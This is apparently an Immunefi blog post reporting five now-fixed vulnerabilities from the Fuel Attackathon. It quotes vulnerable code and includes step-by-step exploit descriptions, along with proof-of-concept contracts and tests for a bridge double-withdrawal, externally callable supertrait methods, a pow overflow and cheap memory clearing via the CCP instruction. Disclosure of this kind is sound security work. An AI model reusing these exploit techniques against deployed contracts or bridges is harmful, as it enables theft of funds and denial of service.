Top 5 Bugs from the Fuel Attackathon

From June 17th to July 22, 2024, Fuel protocol ran a month-long Attackathon on the Immunefi platform, welcoming top whitehat talents to find vulnerabilities within Fuel’s Layer 2 infrastructure. With a reward pool of up to $1 million USDC, participants were successful in uncovering interesting bugs with various severities.
These vulnerabilities are now FIXED, as of publication.
Here are the top five findings, as identified by Immunefi’s triagers, that showcased critical vulnerabilities and enhanced the security of the Fuel Network.
1.Messages to L1 included during reverts allows theft from bridge — Report 32965
Severity: Critical
Impact: Direct loss of funds
Asset: https://github.com/FuelLabs/fuel-core/tree/v0.31.0
The function executor/src/executor.rs::update_execution_data
adds all message_ids
from the MessageOut
receipts of the current tx to the execution data even if the tx itself has reverted.
fn update_execution_data<Tx: Chargeable>(
&self,
tx: &Tx,
execution_data: &mut ExecutionData,
receipts: Vec<Receipt>,
gas_price: Word,
reverted: bool,
state: ProgramState,
tx_id: TxId,
) -> ExecutorResult<()> {
let (used_gas, tx_fee) = self.total_fee_paid(tx, &receipts, gas_price)?;
execution_data.coinbase = execution_data
.coinbase
.checked_add(tx_fee)
.ok_or(ExecutorError::FeeOverflow)?;
execution_data.used_gas = execution_data
.used_gas
.checked_add(used_gas)
.ok_or(ExecutorError::GasOverflow)?;
execution_data
.message_ids
.extend(receipts.iter().filter_map(|r| r.message_id()));
let status = if reverted {
TransactionExecutionResult::Failed {
result: Some(state),
receipts,
total_gas: used_gas,
total_fee: tx_fee,
}
} else {
// else tx was a success
TransactionExecutionResult::Success {
result: Some(state),
receipts,
total_gas: used_gas,
total_fee: tx_fee,
}
};
This means it’s possible to send out messages to the L1 but revert the tx, which un-does the burn of the bridged tokens. This fake withdrawal can be repeated over and over, with the messages still being relayed on the L1, potentially allowing the theft of all tokens from the bridge.
The exploit steps are as follows:
- The attacker and victim both deposit the same amount of the same token
- The attacker withdraws 2 times. For the first time, he reverts his transaction at the end, and the second time follows the regular flow. He can relay this twice, which will result in the attacker having double the amount of tokens he originally deposited.
- As the victim withdraws, the process on the L2 side will be successful and his tokens will be burned. The relay process on L1 will fail, due to underflow (no tokens left)
2.ABI Supertraits are available externally — Report 33351
Severity: Critical
Impact: Direct loss of funds
Asset: https://github.com/FuelLabs/sway/tree/v0.61.2
ABI supertraits are, as the docs say, intended to make contract implementations compositional. As such they allow defining methods that can be inherited by the contract implementing the trait. However, what is essential is that these methods shouldn’t be available externally as contract methods. However, this is not the case, and the methods are available externally.
As we can see in sway-core/src/language/ty/program.rs::validate_root, ABI supertraits should not expose their methods to the user.
pub fn validate_root(...) {
...
// ABI entries are all functions declared in impl_traits on the contract type
// itself, except for ABI supertraits, which do not expose their methods to
// the user
...
}
The following example demonstrates how the renounce_ownership
function is available externally when inheriting the Ownable
traits. An attacker would have access to any supertraits of a contract.
// main.sw
contract;
mod ownable;
use ownable::*;
storage {
owner: b256 = b256::zero(),
}
abi MyAbi : Ownable {
#[storage(read, write)]
fn init();
#[storage(read)]
fn owner() -> b256;
}
impl StorageHelpers for Contract {
#[storage(read)]
fn get_owner() -> b256 {
storage.owner.read()
}
#[storage(write)]
fn set_owner(owner: b256) {
storage.owner.write(owner)
}
}
impl Ownable for Contract { }
impl MyAbi for Contract {
#[storage(read, write)]
fn init() {
Self::set_owner(ContractId::this().into());
}
#[storage(read)]
fn owner() -> b256 {
return Self::get_owner();
}
}
abi Test {
fn renounce_ownership();
}
#[test]
fn test() {
let callerA = abi(MyAbi, CONTRACT_ID);
callerA.init();
assert(callerA.owner() == CONTRACT_ID);
let callerB = abi(Test, CONTRACT_ID);
callerB.renounce_ownership(); // ! Externally available
assert(callerA.owner() != CONTRACT_ID);
assert(callerA.owner() == b256::zero());
}
// ownable.sw
library;
pub struct OwnershipTransferred {
previous_owner: b256,
new_owner: b256,
}
pub trait StorageHelpers {
#[storage(read)]
fn get_owner() -> b256;
#[storage(write)]
fn set_owner(owner: b256);
}
pub trait Ownable : StorageHelpers {
} {
#[storage(read)]
fn owner() -> b256 {
Self::get_owner()
}
#[storage(read)]
fn only_owner() {
assert(msg_sender().unwrap() == Identity::Address(Address::from(Self::get_owner())));
}
#[storage(write)]
fn renounce_ownership() {
Self::set_owner(b256::zero());
}
#[storage(read, write)]
fn transfer_ownership(new_owner: b256) {
assert(new_owner != b256::zero());
let old_owner = Self::get_owner();
Self::set_owner(new_owner);
// log does not work here
log(OwnershipTransferred {
previous_owner: old_owner,
new_owner: new_owner,
})
}
}
3.Sway compiler wrongly modeled register usage of WQAM instruction — Report 32269
Severity: High
Impact: Incorrect sway optimization leading to incorrect bytecode
Asset: https://github.com/FuelLabs/sway/tree/7b56ec734d4a4fda550313d448f7f20dba818b59
The sway/sway-core/src/asm_lang /virtual_ops.rs::def_registers
function and sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers
function are used to define which registers in the argument will be written to or read from by the given instruction. This information is used in DCE optimization to decide which instructions only write to “dead” registers and could be removed.
DCE is an optimization pass most compilers make which eliminates dead code (code that does not affect the program results). This decreases program size and increases program efficiency by eliminating unused instructions. However, the Sway DCE optimization step incorrectly labeled instructions which had results which were used as dead code, which were then removed from the output bytecode of the compiler.
In the function sway/sway-core/src/asm_lang /virtual_ops.rs::use_registers
, we can see that WQAM is incorrectly thought to modify r1 while not relying on its value, while the actual behavior of the WQAM instruction uses r1 as a memory pointer.
/// Returns a list of all registers *read* by instruction `self`.
pub(crate) fn use_registers(&self) -> BTreeSet<&VirtualRegister> {
use VirtualOp::*;
(match self {
/* Arithmetic/Logic (ALU) Instructions */
...
WQAM(_, r2, r3, r4) => vec![r2, r3, r4],
...
})
.into_iter()
.collect()
}
4. Lack of Overflow Protection in pow Function for Unsigned Integers in standard libraries — Report 33227
Severity: Medium
Impact: Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
The pow
function implementations for the u8
, u16
, and u32
types in the Sway standard math library lack overflow protection. Overflow for larger data types like u64
and u256
is handled by the Fuel Virtual Machine (VM), but the VM does not handle overflow for the smaller types (u8
, u16
, u32
). Consequently, when the result of the pow function exceeds the maximum value of the data type, the result wraps around without raising any errors. This can lead to incorrect calculations on the integration side of the contracts.
As we can see the issue is in the following Power function implementation for the types u8
, u16
, and u32
in the Sway standard library that it doesn’t handle the overflows.
impl Power for u32 {
fn pow(self, exponent: u32) -> Self {
asm(r1: self, r2: exponent, r3) {
exp r3 r1 r2;
r3: Self
}
}
}
impl Power for u16 {
fn pow(self, exponent: u32) -> Self {
asm(r1: self, r2: exponent, r3) {
exp r3 r1 r2;
r3: Self
}
}
}
impl Power for u8 {
fn pow(self, exponent: u32) -> Self {
asm(r1: self, r2: exponent, r3) {
exp r3 r1 r2;
r3: Self
}
}
}
Here’s the PoC that demonstrates the overflow vulnerability for the data types u8
and u32
.
contract;
//Setup
use std::{
asset::mint_to,
constants::DEFAULT_SUB_ID
};
abi PowBug {
fn demonstrate_bug_u8(recipient: Identity, a: u8) -> AssetId;
fn demonstrate_bug_u32(a: u32) -> u32;
}
impl PowBug for Contract {
fn demonstrate_bug_u8(recipient: Identity, a: u8) -> AssetId {
let result_u8 = a.pow(2);
let coins_to_mint = result_u8.as_u64() * 100;
if result_u8 > u8::max() {
revert(1337);
}
mint_to(recipient, DEFAULT_SUB_ID, coins_to_mint);
AssetId::new(ContractId::this(), DEFAULT_SUB_ID)
}
fn demonstrate_bug_u32(a: u32) -> u32 {
let coins_to_keep = a.pow(4);
if coins_to_keep <= u32::max() {
revert(1337)
}
coins_to_keep
}
}
The following test case demonstrates how the value of u8
and u32
exceeds the maximum limit of their respective types, resulting in an overflow and producing an incorrect, wrapped-around value.
#[tokio::test]
async fn pow_bug() {
//Setup
let (instance, _id) = get_contract_instance().await;
println!("------------u8 pow function overflow----------------");
let asset_id = instance.methods().demonstrate_bug_u8(Identity::Address(instance.account().address().into()), 20)
.append_variable_outputs(1)
.call()
.await
.unwrap()
.value;
let balance = instance.account().get_asset_balance(&asset_id).await.unwrap();
println!("balance: {:#?}", balance);
println!("------------u32 pow function overflow----------------");
let coins_to_keep = instance.methods().demonstrate_bug_u32(1000).call().await.unwrap().value;
println!("coins_to_keep: {:#?}", coins_to_keep);
let coins_before = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount;
println!("coins_before: {:#?}", coins_before);
instance.account().transfer(
&Bech32Address::from_str("fuel1glsm9rc8ysh9yjt8ljkuatalvdad3rs3wpqjznd3p7daydw2gg6sftwvvr").unwrap(),
coins_before - TryInto::<u64>::try_into(coins_to_keep).unwrap(),
AssetId::zeroed(),
TxPolicies::default()
).await.unwrap();
let coins_after = instance.account().get_coins(AssetId::zeroed()).await.unwrap()[0].amount;
println!("coins after: {:#?}", coins_after);
}
5.Exploiting CCP Instruction for Low-Cost Memory Clearing via Code Copy with Zero-Fill — Report 32465
Severity: High
Impact: Modification of transaction fees outside of design parameters
The CCP (Code Copy) instruction copies code from a specified contract into memory, charging gas based on the contract’s total size rather than the actual number of bytes copied.
By manipulating the offset and length parameters, users can trigger a scenario where the function zero-fills large memory areas without incurring the appropriate costs, effectively performing a cheap memory clear operation.
This exploit allows users to perform expensive memory clearing operations at a significantly reduced gas cost. By underpaying for resource usage, it can lead to network resource exhaustion and potential denial-of-service attacks, compromising the stability and security of the system.
The code_copy
function invoked by the CCP instruction loads the target contract’s bytecode, charges gas based on its length, and then copies data with zero-fill using a different length parameter. Here’s how it works:
pub(crate) fn code_copy(...) {
// Charges gas based on the contract's length
dependent_gas_charge_without_base(
self.cgas,
self.ggas,
profiler,
self.gas_cost,
contract_len as u64, // <-- Charged based on this
)?;
// Copies data with zero-fill
copy_from_slice_zero_fill(
self.memory,
self.owner,
contract.as_ref().as_ref(),
dst_addr,
offset,
length, // <-- Amount to copy; excess zero-filled
)?;
}
view raw
The copy_from_slice_zero_fill
function handles copying and zero-filling: By choosing a large offset
that exceeds the length of the contract’s bytecode, the data
slice becomes empty (unwrap_or_default()
returns an empty slice). The copy_from_slice
operation does nothing, and the entire memory range specified by len
is filled with zeros:
pub(crate) fn copy_from_slice_zero_fill<A: ToAddr, B: ToAddr>(
memory: &mut Memory,
owner: H160,
src: &[u8],
dst_addr: A,
src_offset: usize,
len: usize,
) -> Result<(), Error> {
let range = memory.write(owner, dst_addr, len)?;
let src_end = src_offset.saturating_add(range.len()).min(src.len());
let data = src.get(src_offset..src_end).unwrap_or_default();
range[..data.len()].copy_from_slice(data);
range[data.len()..].fill(0);
}
Users can clear large memory areas cheaply, bypassing the proper gas charges for memory operations.
Here’s the PoC test case demonstrates how the CCP instruction can be exploited to clear memory cheaply:
#[test]
fn use_ccp_to_memory_clear() {
let mut test_context = TestBuilder::new(2322u64);
let gas_limit = 10_000_000;
let program = vec![
op::ret(RegId::ZERO), // super short contract
];
let contract_id = test_context.setup_contract(program, None, None).contract_id;
let (script, _) = script_with_data_offset!(
data_offset,
vec![
op::movi(0x10, data_offset as Immediate18), //pointer to address
op::sub(0x11, RegId::HP, RegId::SP), //store size of unallocated memory in register 0x11
op::subi(0x12, 0x11, 1), //pointer to last writeable byte
op::movi(0x13, 0xff), //value to write
op::cfe(0x11), //extend the stack to fill the whole memory
op::log(RegId::CGAS, 0x00, 0x00, 0x00), //log remaining gas
// following block uses mcl to clear memory:
op::sb(0x12, 0x13, 0), //write to last writeable byte
op::lb(0x14, 0x12, 0), //load the value back to check with log
op::log(0x00, 0x00, 0x00, 0x14), //log the value
op::mcl(RegId::SSP, 0x11), //clear whole area between SSP and SP
op::lb(0x14, 0x12, 0), //load last writeable byte to check if it was cleared
op::log(RegId::CGAS, 0x00, 0x00, 0x14), //log remaining gas and check that value was used
// following block uses ccp to clear memory:
op::sb(0x12, 0x13, 0), //repeat write to last writeable byte
op::lb(0x14, 0x12, 0), //repeat load the value back to check with log
op::log(0x00, 0x00, 0x00, 0x14), //log the value
op::ccp(RegId::SSP, 0x10, 0x11, 0x11), //clear whole area between SSP and SP (dst, pointer to contractId, code offset, length)
op::lb(0x14, 0x12, 0), //load last writeable byte to check if it was cleared
op::log(RegId::CGAS, 0x00, 0x00, 0x14), //log remaining gas and check that value was used
op::ret(RegId::ONE),
],
test_context.get_tx_params().tx_offset()
);
let mut script_data = contract_id.to_vec();
script_data.extend([0u8; WORD_SIZE * 2]);
let result = test_context
.start_script(script, script_data)
.script_gas_limit(gas_limit)
.contract_input(contract_id)
.fee_input()
.contract_output(&contract_id)
.execute();
let receipts = result.receipts();
//print receipts
for receipt in receipts.iter() {
println!("{:?}", receipt);
}
}
*Changes: Report #5 was misidentified as 33519, it was corrected to 32465. The gist will also be updated shortly.